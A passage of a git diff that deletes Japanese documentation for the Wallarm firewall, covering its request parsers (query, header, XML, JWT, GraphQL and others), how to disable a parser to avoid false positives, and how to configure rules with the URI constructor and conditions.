`http://example.com/blogs/123/index.php?q=aaa`に送られたリクエストに対する`/blogs/123/index.php?q=aaa`）。 -* **path** は`/`記号で区切られたURL部分の配列（URLの最後の部分は配列に含まれません）。URLに1つの部分しかない場合、配列は空になります。 -* **action_name** は`/`記号の後、最初のピリオド（`.`）より前にあるURLの最後の部分です。このURL部分は、その値が空文字列であっても常にリクエスト内に存在します。 -* **action_ext** は最後のピリオド（`.`）の後のURL部分です。リクエストに存在しない場合があります。 - - !!! warning "最後の部分に複数のピリオドがある場合の**action_name**と**action_ext**の境界" - URLの最後の部分（`/`の後）に複数のピリオド（`.`）がある場合、**action_name**と**action_ext**の境界に問題が生じることがあります。例えば: - - * 最初のピリオドを基準に境界が設定されるケース。例: - - `/modern/static/js/cb-common.ffc63abe.chunk.js.map` → - - * ... - * `action_name` — `cb-common` - * `action_ext` — `ffc63abe.chunk.js.map` - - * 解析後に一部の要素が失われるケース。上記の例では以下のようになります: - - * `action_name` — `cb-common` - * `action_ext` — `ffc63abe` - - これを修正するには、URIコンストラクタの[advanced edit form](rules.md#advanced-edit-form)で**action_name**と**action_ext**のポイントを手動で編集してください。 - -* **query** は`?`記号の後の[クエリ文字列パラメータ](#query-string-parameters)です。 - -例: - -`/blogs/123/index.php?q=aaa` - -* `[uri]` — `/blogs/123/index.php?q=aaa` -* `[path, 0]` — `blogs` -* `[path, 1]` — `123` -* `[action_name]` — `index` -* `[action_ext]` — `php` -* `[query, 'q']` — `aaa` - -### クエリ文字列パラメータ - -クエリ文字列パラメータは、`?`の後に`key=value`形式でリクエストURL内にアプリケーションへ渡されます。これに対応するパーサータグは**query**です。 - -Request example | Query string parameters and values ----- | ----- -`/?q=some+text&check=yes` |
        • `[query, 'q']` — `some text`
        • `[query, 'check']` — `yes`
        -`/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb` |
        • `[query, 'p1', hash, 'x']` — `1`
        • `[query, 'p1', hash, 'y']` — `2`
        • `[query, 'p2', array, 0]` — `aaa`
        • `[query, 'p2', array, 1]` — `bbb`
        -`/?p3=1&p3=2` |
        • `[query, 'p3', array, 0]` — `1`
        • `[query, 'p3', array, 1]` — `2`
        • `[query, 'p3', pollution]` — `1,2`
        - -### リクエスト送信元のIPアドレス - -Wallarmルールにおけるリクエスト送信元IPアドレスのリクエストポイントは`remote_addr`です。このポイントは、IPごとのリクエストを制限する[**Advanced rate limiting**](rate-limiting.md)ルールでのみ使用します。 - -### ヘッダー - -ヘッダーはHTTPリクエストやその他の一部の形式（例: **multipart**）に存在します。これに対応するパーサータグは**header**です。ヘッダー名は常に大文字に変換されます。 - -例: - -``` -GET / HTTP/1.1 -Host: example.com -X-Test: aaa -X-Test: bbb -``` - -* `[header, 'HOST']` — `example.com` -* `[header, 'X-TEST', array, 0]` — `aaa` -* `[header, 'X-TEST', array, 1]` — `aaa` -* `[header, 'X-TEST', pollution]` — `aaa,bbb` - -### メタデータ - -HTTPリクエストのメタデータに対応するパーサータグは次のとおりです。 - -* **post** はHTTPリクエストボディ -* **method** はHTTPリクエストメソッド: `GET`、`POST`、`PUT`、`DELETE` -* **proto** はHTTPプロトコルバージョン -* **scheme**: http/https -* **application** はアプリケーションID - -### 追加のパーサー - -複雑なリクエスト部分は追加の解析が必要になる場合があります（例えば、データがBase64でエンコードされている、または配列形式で表現されている場合）。そのような場合、以下に列挙するパーサーが対象のリクエスト部分に対して追加で適用されます。 - -#### base64 - -Base64でエンコードされたデータをデコードします。リクエストの任意の部分に適用できます。 - -#### gzip - -GZIPでエンコードされたデータをデコードします。リクエストの任意の部分に適用できます。 - -#### htmljs - -HTMLおよびJSの記号をテキスト形式に変換します。リクエストの任意の部分に適用できます。 - -例: `"aaa"` は`"aaa"`に変換されます。 - -#### json_doc - -JSON形式のデータを解析します。リクエストの任意の部分に適用できます。 - -フィルター: - -* **json_array** または **array** は配列要素の値 -* **json_obj** または **hash** は連想配列のキー（`key:value`）の値 - -例: - -``` -{"p1":"value","p2":["v1","v2"],"p3":{"somekey":"somevalue"}} -``` - -* `[..., json_doc, hash, 'p1']` — `value` -* `[..., json_doc, hash, 'p2', array, 0]` — `v1` -* `[..., json_doc, hash, 'p2', array, 1]` — `v2` -* `[..., json_doc, hash, 'p3', hash, 'somekey']` — `somevalue` - -#### xml - -XML形式のデータを解析します。リクエストの任意の部分に適用できます。 - -フィルター: - -* **xml_comment** はXMLドキュメント本体内のコメントの配列 -* **xml_dtd** は使用中の外部DTDスキーマのアドレス -* **xml_dtd_entity** はEntity DTDドキュメントで定義された配列 -* **xml_pi** は処理命令の配列 -* **xml_tag** または **hash** はタグの連想配列 - - !!! info "名前空間付き**xml_tag**の記法" - **xml_tag**でURI、名前空間、タグ名を一緒に指定する場合、必要な区切り文字はWallarmノードのバージョンに依存します。 - - * バージョン6.3.0以降では`URI|namespace|tag_name`（例: `https://www.w3.org/path|xhtml|html`） - * 6.3.0より前のバージョンでは`URI:namespace:tag_name`（例: `https://www.w3.org/path:xhtml:html`） - -* **xml_tag_array** または **array** はタグ値の配列 -* **xml_attr** は属性の連想配列（**xml_tag**フィルターの後でのみ使用可能） - -XMLパーサーは、タグの内容とタグ値配列の最初の要素を区別しません。つまり、`[..., xml, xml_tag, 't1']`と`[..., xml, xml_tag, 't1', array, 0]`は同一で相互に置換可能です。 - -例: - -``` - -]> - - - - &xxe; - 123 - 234 - -``` - -* `[..., xml, xml_dtd_entity, 0]` — name = `xxe`, value = `aaaa` -* `[..., xml, xml_pi, 0]` — name = `xml-stylesheet`, value = `type="text/xsl" href="style.xsl"` -* `[..., xml, xml_comment, 0]` — ` テスト ` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodName']` — `aaaa` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs']` — `123` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs', xml_attr, 'check']` — `true` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs', array, 1]` — `234` - -#### array - -データ配列を解析します。リクエストの任意の部分に適用できます。 - -例: - -``` -/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb -``` - -* `[query, 'p2', array, 0]` — `aaa` -* `[query, 'p2', array, 1]` — `bbb` - -#### hash - -連想配列（`key:value`）を解析します。リクエストの任意の部分に適用できます。 - -例: - -``` -/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb -``` - -* `[query, 'p1', hash, 'x']` — `1` -* `[query, 'p1', hash, 'y']` — `2` - -#### pollution - -同名のパラメータの値を結合します。初期形式またはデコード済み形式のリクエスト任意の部分に適用できます。 - -例: - -``` -/?p3=1&p3=2 -``` - -* `[query, 'p3', pollution]` — `1,2` - -#### percent - -URL記号をデコードします。URLの**uri**コンポーネントにのみ適用できます。 - -#### cookie - -Cookieリクエストパラメータを解析します。リクエストヘッダーにのみ適用できます。 - -例: - -``` -GET / HTTP/1.1 -Cookie: a=1; b=2 -``` - -* `[header, 'COOKIE', cookie, 'a']` = `1`; -* `[header, 'COOKIE', cookie, 'b']` = `2`. - -#### form_urlencoded - -`application/x-www-form-urlencoded`形式で渡されるリクエストボディを解析します。リクエストボディにのみ適用できます。 - -例: - -``` -p1=1&p2[a]=2&p2[b]=3&p3[]=4&p3[]=5&p4=6&p4=7 -``` - -* `[post, form_urlencoded, 'p1']` — `1` -* `[post, form_urlencoded, 'p2', hash, 'a']` — `2` -* `[post, form_urlencoded, 'p2', hash, 'b']` — `3` -* `[post, form_urlencoded, 'p3', array, 0]` — `4` -* `[post, form_urlencoded, 'p3', array, 1]` — `5` -* `[post, form_urlencoded, 'p4', array, 0]` — `6` -* `[post, form_urlencoded, 'p4', array, 1]` — `7` -* `[post, form_urlencoded, 'p4', pollution]` — `6,7` - -#### grpc - -gRPC APIリクエストを解析します。リクエストボディにのみ適用できます。 - -Protocol Buffersデータ用の**protobuf**フィルターをサポートします。 - -#### multipart - -`multipart`形式で渡されるリクエストボディを解析します。リクエストボディにのみ適用できます。 - -リクエストボディ内のヘッダー用に**header**フィルターをサポートします。 - -例: - -``` -p1=1&p2[a]=2&p2[b]=3&p3[]=4&p3[]=5&p4=6&p4=7 -``` - -* `[post, multipart, 'p1']` — `1` -* `[post, multipart, 'p2', hash, 'a']` — `2` -* `[post, multipart, 'p2', hash, 'b']` — `3` -* `[post, multipart, 'p3', array, 0]` — `4` -* `[post, multipart, 'p3', array, 1]` — `5` -* `[post, multipart, 'p4', array, 0]` — `6` -* `[post, multipart, 'p4', array, 1]` — `7` -* `[post, multipart, 'p4', pollution]` — `6,7` - -`Content-Disposition`ヘッダーにファイル名が指定されている場合、そのパラメータにはファイルがアップロードされたと見なされます。パラメータは次のようになります。 - -* `[post, multipart, 'someparam', file]` — ファイルの内容 - -#### viewstate - -セッション状態を分析するために設計されています。Microsoft ASP.NETで使用される技術で、リクエストボディにのみ適用できます。 - -フィルター: - -* **viewstate_array** は配列 -* **viewstate_pair** は配列 -* **viewstate_triplet** は配列 -* **viewstate_dict** は連想配列 -* **viewstate_dict_key** は文字列 -* **viewstate_dict_value** は文字列 -* **viewstate_sparse_array** は連想配列 - -#### jwt - -JWTトークンを解析します。リクエストの任意の部分に適用できます。 - -JWTパーサーは検出したJWT構造に応じて、次のパラメータで結果を返します。 - -* `jwt_prefix`: サポートされるJWT値プレフィックスのいずれか—lsapi2、mobapp2、bearer。パーサーはどの大文字小文字でもプレフィックス値を読み取ります。 -* `jwt_header`: JWTヘッダー。値を取得すると、Wallarmは通常それに対して[`base64`](#base64)および[`json_doc`](#json_doc)パーサーも適用します。 -* `jwt_payload`: JWTペイロード。値を取得すると、Wallarmは通常それに対して[`base64`](#base64)および[`json_doc`](#json_doc)パーサーも適用します。 - -JWTはリクエストの任意の部分で渡される可能性があります。そのため、`jwt`パーサーを適用する前に、Wallarmは特定のリクエスト部分用のパーサー、例えば[`query`](#query-string-parameters)や[`header`](#headers)を使用します。 - -`Authentication`ヘッダーで渡されたJWTの例: - -```bash -Authentication: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -``` - -* `[header, AUTHENTICATION, jwt, 'jwt_prefix']` — `Bearer` -* `[header, AUTHENTICATION, jwt, 'jwt_header', base64, json_doc, hash, 'alg']` — `HS256` -* `[header, AUTHENTICATION, jwt, 'jwt_header', base64, json_doc, hash, 'typ']` — `JWT` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'sub']` — `1234567890` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'name']` — `John Doe` -* `[header, AUTHENTICATION, jwt, 'jwt_payload', base64, json_doc, hash, 'iat']` — `1516239022` - -[ルール](rules.md)を適用するリクエスト要素を定義する際は次のようにします。 - -* まずJWTを含むリクエスト部分のパーサーを選択します -* 列挙した`jwt_*`パラメータのいずれかを`jwt`パーサーの値として指定します。例えばJWTペイロードの`name`パラメータ値に対しては次のとおりです。 - -![ルールでのJWTパラメータの指定](../../images/user-guides/rules/request-element-desc.png) - -#### gql - -GraphQLの実行可能定義（クエリ、ミューテーション、サブスクリプション、フラグメント）を解析し、GraphQL特有のリクエストポイントにおける[入力バリデーション攻撃](../../attacks-vulns-list.md#attack-types)の検知を改善します。NGINX Node 5.3.0以上、またはネイティブノード0.12.0が必要です。 - -フィルター: - - * **gql_query** はクエリオペレーション - * **gql_mutation** はミューテーションオペレーション - * **gql_subscription** はサブスクリプションオペレーション - * **gql_alias** はフィールドエイリアス - * **gql_arg** はフィールド引数 - * **gql_dir** はディレクティブ - * **gql_spread** はフラグメントスプレッド - * **gql_fragment** はフラグメント定義 - * **gql_type** はフラグメント定義またはインラインフラグメントの名前付き型 - * **gql_inline** はインラインフラグメント - * **gql_var** は変数定義 - -例: - -``` -query GetUser { - user(id: "1") { - ...UserFields @include(if: true) - } -} -``` - -* `[..., gql, gql_query, 'GetUser', hash, 'user', gql_arg, hash, 'id']` — `1` -* `[..., gql, gql_query, 'GetUser', hash, 'user', gql_spread,` `'UserFields', gql_dir, 'include', gql_arg, hash, 'if']` — `true` - -``` -query GetAllUsers { - users(limit: 10) { - ...UserFields @include(if: true) - } -} -``` - -* `[..., gql, gql_query, 'GetAllUsers', hash, 'users', gql_arg, hash, 'limit']` — `10` -* `[..., gql, gql_query, 'GetAllUsers', hash, 'users',` `gql_spread, 'UserFields', gql_dir, 'include', gql_arg, hash, 'if']` — `true` - -``` -fragment UserFields on User { - id - name - email - posts(status: "published") { - title - content - } -} -``` - -* `[..., gql, gql_fragment, 'UserFields', gql_type,` `'User', hash, 'posts', gql_arg, hash, 'status']` — `published` - -このパーサーにより、[API SessionsにおけるGraphQLリクエストパラメータ](../../api-sessions/overview.md#graphql-requests-in-api-sessions)の値を抽出・表示したり、GraphQL特有のリクエスト部分に[ルール](rules.md)を適用したりできます。 - -![GraphQLリクエストポイントに適用されたルールの例](../../images/user-guides/rules/rule-applied-to-graphql-point.png) - -!!! info "WallarmによるGraphQL保護" - デフォルトで[常に有効](#managing-parsers)なパーサーはGraphQLにおける通常の攻撃（SQLi、RCEなど）を検知しますが、Wallarmでは[GraphQL特有の攻撃からの保護](../../api-protection/graphql-rule.md)を**設定**することもできます。 - -### ノルム - -ノルムは配列型およびキー型のデータに対するパーサーに適用されます。ノルムはデータ分析の境界を定義するために使用します。ノルムの値はパーサータグ内に示されます。例: **hash_all**、**hash_name**。 - -ノルムが指定されていない場合、処理対象のエンティティの識別子がパーサーに渡されます。例えば、**hash**の後にJSONオブジェクト名やその他の識別子が渡されます。 - -**all** - -すべての要素、パラメータ、またはオブジェクトの値を取得するために使用します。例: - -* **path_all** はURLパスのすべての部分 -* **query_all** はすべてのクエリ文字列パラメータ値 -* **header_all** はすべてのヘッダー値 -* **array_all** はすべての配列要素の値 -* **hash_all** はすべてのJSONオブジェクトまたはXML属性の値 -* **jwt_all** はすべてのJWT値 - -**name** - -すべての要素、パラメータ、またはオブジェクトの名前を取得するために使用します。例: - -* **query_name** はすべてのクエリ文字列パラメータ名 -* **header_name** はすべてのヘッダー名 -* **hash_name** はすべてのJSONオブジェクトまたはXML属性の名前 -* **jwt_name** はJWTを含むすべてのパラメータの名前 - -## パーサーの管理 - -デフォルトでは、リクエストを分析する際、Wallarmノードはリクエストの各要素に対して、該当する[パーサー](request-processing.md)を順次適用しようとします。ただし、一部のパーサーが誤って適用され、その結果、Wallarmノードがデコード後の値に攻撃の兆候を検出してしまうことがあります。 - -例えば、[Base64](https://en.wikipedia.org/wiki/Base64)のアルファベット記号は通常のテキスト、トークン値、UUID値、その他のデータ形式でも頻繁に使用されるため、Wallarmノードが未エンコードのデータをBase64でエンコードされたものと誤認することがあります。未エンコードのデータをデコードして、その結果の値に攻撃の兆候を検出してしまうと、[誤検知](../../about-wallarm/protecting-against-attacks.md#false-positives)が発生します。 - -このような誤検知を防ぐために、Wallarmは特定のリクエスト要素に誤って適用されるパーサーを無効化する**Disable/Enable request parser**ルールを提供します。 - -**ルールの作成と適用** - ---8<-- "../include/rule-creation-initial-step.md" -1. **Fine-tuning attack detection** → **Configure parsers**を選択します。 -1. **If request is**で、ルールを適用する範囲を[記述](rules.md#configuring)します。 -1. `off`/`on`にするパーサーを追加します。 -1. **In this part of request**で、このルールを設定したいリクエストポイントを指定します。Wallarmは、選択したリクエストパラメータの値が同じであるリクエストを対象に制限します。 - - 利用可能なポイントは本記事の上部で説明しています。お使いのユースケースに合致するものを選択してください。 - -1. [ルールのコンパイルとフィルタリングノードへのアップロードが完了する](rules.md#ruleset-lifecycle)までお待ちください。 - -**ルール例** - -`https://example.com/users/`へのリクエストに認証ヘッダー`X-AUTHTOKEN`が必要だとします。ヘッダー値には特定の記号の組み合わせ（例えば末尾の`=`など）が含まれることがあり、Wallarmが`base64`パーサーでデコードしてしまい、攻撃兆候を誤検知する可能性があります。誤検知を回避するため、このデコードを防ぐ必要があります。 - -そのためには、スクリーンショットのようにルールを設定します。 - -![ルール「Disable/Enable request parser」の例](../../images/user-guides/rules/disable-parsers-example.png) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/rules/rules.md b/docs/latest-ja/user-guides/rules/rules.md deleted file mode 100644 index fbc73dbc7d..0000000000 --- a/docs/latest-ja/user-guides/rules/rules.md +++ /dev/null @@ -1,391 +0,0 @@ -[link-regex]: https://github.com/yandex/pire -[link-request-processing]: request-processing.md -[img-add-rule]: ../../images/user-guides/rules/section-rules-add-rule.png -[link-attack-detection-tools]: ../../about-wallarm/protecting-against-attacks.md#tools-for-attack-detection -[link-sub-plans]: ../../about-wallarm/subscription-plans.md#core-subscription-plans -[link-filtration-mode]: ../../admin-en/configure-wallarm-mode.md -[link-nodes]: ../../about-wallarm/overview.md#how-wallarm-works -[link-sessions]: ../../api-sessions/overview.md -[link-brute-force-protection]: ../../admin-en/configuration-guides/protecting-against-bruteforce.md -[link-cloud-node-synchronization]: ../../admin-en/configure-cloud-node-synchronization-en.md -[img-rules-create-backup]: ../../images/user-guides/rules/rules-create-backup.png - -# ルール - -ルールは、リクエストの解析およびその後の処理におけるWallarmの[既定][link-attack-detection-tools]の挙動を微調整するために使用します。つまり、ルールを使用すると、悪意のあるリクエストの検出方法や、そのようなリクエストが検出された際のシステムの動作を変更できます。 - -ルールは[US](https://us1.my.wallarm.com/rules)または[EU](https://my.wallarm.com/rules)のCloudにある**Rules WAF**セクションで設定します。 - -![Rules section](../../images/user-guides/rules/section-rules.png) - -!!! warning "ルール適用の遅延" - ルールを変更しても、[ルールセットのコンパイル](#ruleset-lifecycle)とフィルタリングノードへのアップロードに時間がかかるため、すぐには反映されません。 - -## ルールでできること - -ルールを使用して、アプリケーションやAPIへの攻撃に対するWallarmのミティゲーション方法を制御し、攻撃検出を細かく調整し、リクエスト/レスポンスを変更できます。 - -* 緩和制御: - * [高度なレート制限](../../user-guides/rules/rate-limiting.md) - * [バーチャルパッチ](../../user-guides/rules/vpatch-rule.md) - * [カスタム攻撃検出器](../../user-guides/rules/regex-rule.md) - * [ファイルアップロード制限](../../api-protection/file-upload-restriction.md#rule-based-protection) - -* 攻撃検出の微調整: - * 特定のドメイン/エンドポイントに対して[フィルタリングモードの上書き](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode)を行います - * [特定の攻撃を無視](../../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types)します - * 特定のドメイン/エンドポイントまたはリクエストの一部に対して[カスタム攻撃検出器を無効化](../../user-guides/rules/regex-rule.md#partial-disabling)します - * [バイナリデータ処理](../../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-signs-in-the-binary-data)を構成します - * [パーサーの構成](../../user-guides/rules/request-processing.md#managing-parsers)によりリクエスト処理を微調整します - * 特定のドメイン/エンドポイントおよびリクエストに対して[API Abuse Preventionを無効化](../../api-abuse-prevention/exceptions.md#exceptions-for-target-urls-and-specific-requests)します - * [リクエスト処理時間を制限](../../user-guides/rules/configure-overlimit-res-detection.md)してノード動作を微調整します - -* リクエスト/レスポンスの変更: - * [機微データのマスキング](../../user-guides/rules/sensitive-data-rule.md)を行います - * [レスポンスヘッダーを変更](../../user-guides/rules/add-replace-response-header.md)してアプリケーションセキュリティの追加レイヤーを構成します - -## ルールブランチ - -ルールは、エンドポイントURIやその他の条件によって自動的にネストされたブランチにグループ化されます。これにより、ルールが下位に継承されるツリー状の構造が構築されます。原則は次のとおりです。 - -* すべてのブランチは[既定](#default-rules)ルールを継承します。 -* ブランチ内では、子エンドポイントは親からルールを継承します。 -* 個別指定は継承より優先されます。 -* 直接指定は[正規表現](rules.md#condition-type-regex)より優先されます。 -* 大文字小文字を[区別](rules.md#condition-type-equal)する指定は、[区別しない](rules.md#condition-type-iequal-aa)指定より優先されます。 - -![Rulesタブの概要](../../images/user-guides/rules/rules-overview.png) - -### Default rules - -アクションを指定しつつ、いずれのエンドポイントにも紐付けないルールを作成できます。これらは**default rules**と呼ばれます。このようなルールはすべてのエンドポイントに適用されます。 - -* 既定ルールを作成するには、[標準の手順](#configuring)に従いますが、URIは空白のままにします。エンドポイントに紐付かない新しいルールが作成されます。 -* 作成済みの既定ルール一覧を表示するには、**Default rules**ボタンをクリックします。 -* 既定ルールはすべてのブランチに継承されます。 - -!!! info "トラフィックフィルタリングモードの既定ルール" - Wallarmはすべてのクライアントに対して`Set filtration mode`の既定ルールを自動作成し、その値を[全体のフィルタリングモード](../../admin-en/configure-wallarm-mode.md#general-filtration-mode)設定に基づいて設定します。 - -### ブランチルールの表示 - -ルールブランチの操作方法に関する詳細です。 - -* エンドポイントを展開するには、青い円をクリックします。 -* 個別ルールがないエンドポイントはグレー表示され、クリックできません。 - - ![エンドポイントのブランチ](../../images/user-guides/rules/rules-branch.png) - -* エンドポイントのルールを表示するには、それをクリックします。最初に、このエンドポイントの個別ルールが表示されます。 -* 特定のエンドポイントのルール一覧を表示している際、継承されたルールを表示するには**Distinct and inherited rules**をクリックします。継承されたルールは個別ルールと共に表示され、個別に比べてグレー表示されます。 - - ![エンドポイントの個別ルールと継承ルール](../../images/user-guides/rules/rules-distinct-and-inherited.png) - -## 構成 - -新しいルールを追加するには、[US](https://us1.my.wallarm.com/rules)または[EU](https://my.wallarm.com/rules)のCloudにある**Rules WAF**セクションに移動します。ルールは既存の[ブランチ](#rule-branches)に追加することも、存在しない場合は新しいブランチを作成して一から追加することもできます。 - -![新しいルールの追加][img-add-rule] - -ルールは、対象エンドポイント、メソッド、特定のパラメータや値の存在など、いくつかの条件が満たされた場合にのみリクエストに適用される点に注意してください。また、多くの場合、ルールはリクエストの一部にのみ適用されます。ルールとリクエスト構造の相互作用をよりよく理解するために、フィルタリングノードが[リクエストをどのように解析するか][link-request-processing]を理解することをお勧めします。 - -ルール条件は次の方法で定義できます。 - -* [URI constructor](#uri-constructor) - リクエストメソッドとエンドポイントを1つの文字列で指定して、ルール条件を構成できます。 -* [Advanced edit form](#advanced-edit-form) - URI constructorを拡張し、メソッド/エンドポイントに加えて、アプリケーション、ヘッダー、クエリ文字列パラメータなどの追加条件も構成できるようにします。 - -### URI constructor - -URI constructorでは、リクエストメソッドとエンドポイントを1つの文字列で指定して、ルール条件を構成できます。 - -#### 一般的な使い方 - -URI constructorは次を提供します。 - -* リクエストメソッドを選択するセレクターです。メソッドを選択しない場合、ルールは任意のメソッドのリクエストに適用されます。 -* 次の値形式を受け付けるリクエストエンドポイント用のフィールドです。 - - | 形式 | 例 | - | ------ | ------ | - | 次のコンポーネントを含む完全なURI:
        • スキーム（この値は無視されます。スキームを明示的に指定するにはAdvanced edit formを使用できます）
        • ドメインまたはIPアドレス
        • ポート
        • パス
        • クエリ文字列パラメータ
        | `https://example.com:3000/api/user.php?q=action&w=delete`
        • `[header, 'HOST']` - `example.com:3000`
        • `[path, 0]` - `api`
        • `[path, 1]` - `∅`
        • `[action_name]` - `user`
        • `[action_ext]` - `php`
        • `[query, 'q']` - `action`
        • `[query, 'w']` - `delete`
        | - | いくつかのコンポーネントを省略したURI | `example.com/api/user`
        • `[header, 'HOST']` - `example.com`
        • `[path, 0]` - `api`
        • `[path, 1]` - `∅`
        • `[action_name]` - `user`
        • `[action_ext]` - `∅`

        `http://example.com/api/clients/user/?q=action&w=delete`
        • `[header, 'HOST']` - `example.com`
        • `[path, 0]` - `api`
        • `[path, 1]` - `clients`
        • `[path, 2]` - `∅`
        • `[action_name]` - `user`
        • `[query, 'q']` - `action`
        • `[query, 'w']` - `delete`

        `/api/user`
        • ``[header, 'HOST']` - 任意の値
        • `[path, 0]` - `api`
        • `[path, 1]` - `∅`
        • `[action_name]` - `user`
        • `[action_ext]` - `∅`
        | - | `*`がコンポーネントの任意の空でない値を意味するURI | `example.com/*/create/*.*`
        • `[header, 'HOST']` - `example.com`
        • `[path, 0]` - 任意の空でない値（Advanced edit formでは非表示）
        • `[path, 1]` - `create`
        • `[path, 2]` - `∅`
        • `[action_name]` - 任意の空でない値（Advanced edit formでは非表示）
        • `[action_ext]` - 任意の空でない値（Advanced edit formでは非表示）
          • この値は`example.com/api/create/user.php`にマッチし、
          `example.com/create/user.php`および`example.com/api/create`にはマッチしません。
        | - | `**`がコンポーネントの数に制限がなく、その欠如も含むことを意味するURI | `example.com/**/user`
        • `[header, 'HOST']` - `example.com`
        • `[action_name]` - `user`
        • `[action_ext]` - `∅`
          • この値は`example.com/api/create/user`および`example.com/api/user`にマッチします。
          この値は`example.com/user`、`example.com/api/user/index.php`、`example.com/api/user/?w=delete`にはマッチしません。

        `example.com/api/**/*.*`
        • `[header, 'HOST']` - `example.com`
        • `[path, 0]` - `api`
        • `[action_name]` - 任意の空でない値（Advanced edit formでは非表示）
        • `[action_ext]` - 任意の空でない値（Advanced edit formでは非表示）
          • この値は`example.com/api/create/user.php`および`example.com/api/user/create/index.php`にマッチし、
          `example.com/api`、`example.com/api/user`、`example.com/api/create/user.php?w=delete`にはマッチしません。
        | - | あるコンポーネント値にマッチさせるための[正規表現](#condition-type-regex)を使用するURI（正規表現は`{{}}`で囲む必要があります） | `example.com/user/{{[0-9]}}`
        • `[header, 'HOST']` - `example.com`
        • `[path, 0]` - `user`
        • `[path, 1]` - `∅`
        • `[action_name]` - `[0-9]`
        • `[action_ext]` - `∅`
          • この値は`example.com/user/3445`にマッチし、
          `example.com/user/3445/888`および`example.com/user/3445/index.php`にはマッチしません。
        | - -URI constructorに指定した文字列は、自動的に以下の[条件](#conditions)の集合にパースされます。 - -* `method` -* `header`。URI constructorではヘッダー`HOST`のみを指定できます。 -* `path`、`action_name`、`action_ext`。ルール作成を確定する前に、これらのリクエスト部位の値が次のいずれかの方法でパースされていることを確認してください。 - * ある番号の`path`の明示値 + `action_name` + `action_ext`（任意） - * `action_name` + `action_ext`（任意）の明示値 - * `action_name`と`action_ext`を伴わない、ある番号の`path`の明示値 -* `query` - -URI constructorで指定した値は、[Advanced edit form](#advanced-edit-form)でのみ利用できる他の条件で補完できます。 - -#### ワイルドカードの使用 - -WallarmのURI constructorでワイルドカードを使用できますか？いいえ、そしてはい、です。「いいえ」とは、[古典的な](https://en.wikipedia.org/wiki/Wildcard_character)意味では使用できないということです。「はい」とは、次のように動作することで同じ結果を得られるということです。 - -* URIのパース対象コンポーネント内では、ワイルドカードの代わりに正規表現を使用します。 -* URIフィールド自体に`*`または`**`を配置して、1つまたは任意数のコンポーネントを置き換えます（[上](#uri-constructor)のセクションの例を参照）。 - -**詳細** - -正規表現の構文は古典的なワイルドカードとは異なりますが、同じ結果を達成できます。例えば、次のマスクに相当するものを得たいとします。 - -* `something-1.example.com/user/create.com` と -* `anything.something-2.example.com/user/create.com` - -…古典的なワイルドカードであれば、次のように入力しようとするでしょう。 - -* `*.example.com/user/create.com` - -しかしWallarmでは、`something-1.example.com/user/create.com`は次のようにパースされます。 - -![URIをコンポーネントに分解してパースする例](../../images/user-guides/rules/something-parsed.png) - -…ここで、`something-1.example.com`は`header`-`HOST`の条件です。ワイルドカードは条件の中では使用できないと述べましたので、代わりに正規表現を使用する必要があります。条件タイプをREGEXに設定し、Wallarmの[特有の構文](#condition-type-regex)で正規表現を使用します。 - -1. 「任意の文字数」を意味する`*`は使用しません。 -1. 「実際のドット」として解釈してほしいすべての`.`を角括弧で囲みます。 - - `something-1[.]example[.]com` - -1. 任意の1文字の置き換えとして角括弧なしの`.`を使用し、その後ろに量指定子`*`（直前の繰り返し0回以上）を付けて`.*`とします。つまり: - - `.*[.]example[.]com` - -1. コンポーネントの終端であることを示すために、式の末尾に`$`を追加します。 - - `.*[.]example[.]com$` - - !!! info "より簡単な方法" - `.*`を省略して`[.]example[.]com$`のみにしても構いません。どちらの場合も、`[.]example[.]com$`の前には任意の文字が任意回数現れるとWallarmは解釈します。 - - ![ヘッダーコンポーネントで正規表現を使用](../../images/user-guides/rules/wildcard-regex.png) - -### Advanced edit form - -Advanced edit formは[URI constructor](#uri-constructor)（メソッドとURI）の機能を拡張し、これらに加えてアプリケーション、ヘッダー、クエリ文字列パラメータなどの追加のルール条件も構成できるようにします。 - -#### Conditions - -条件は、どのリクエスト部位にどの値が存在すべきかを示します。ルールは、すべての条件が満たされたときに適用されます。条件はルールの**If request is**セクションに一覧表示されます。 - -現在、以下の条件をサポートしています。 - -* **application**: アプリケーションIDです。 -* **proto**: HTTPプロトコルバージョン（1.0, 1.1, 2.0, ...）です。 -* **scheme**: httpまたはhttpsです。 -* **uri**: ドメインを除いたリクエストURLの一部です（例えば、`http://example.com/blogs/123/index.php?q=aaa`へのリクエストでは`/blogs/123/index.php?q=aaa`）。 -* **path**、**action_name**、**action_ext** は階層的なURIコンポーネント列で、意味は次のとおりです。 - - * **path**: `/`で区切られたURI部分の配列です（最後のURI部分は配列に含まれません）。URIに1つの部分しかない場合、配列は空になります。 - * **action_name**: `/`の後、最初のピリオド（`.`）の前にあるURIの最後の部分です。このURI部分は、その値が空文字列であっても常にリクエストに存在します。 - * **action_ext**: 最後のピリオド（`.`）の後にあるURIの部分です。リクエストに存在しない場合があります。 -* **query**: クエリ文字列パラメータです。 -* **header**: リクエストヘッダーです。ヘッダー名を入力すると、最も一般的な値がドロップダウンリストに表示されます。例えば: `HOST`、`USER-AGENT`、`COOKIE`、`X-FORWARDED-FOR`、`AUTHORIZATION`、`REFERER`、`CONTENT-TYPE`。 - - !!! info "`HOST`ヘッダーのFQDNおよびIPアドレスに対するルール管理" - 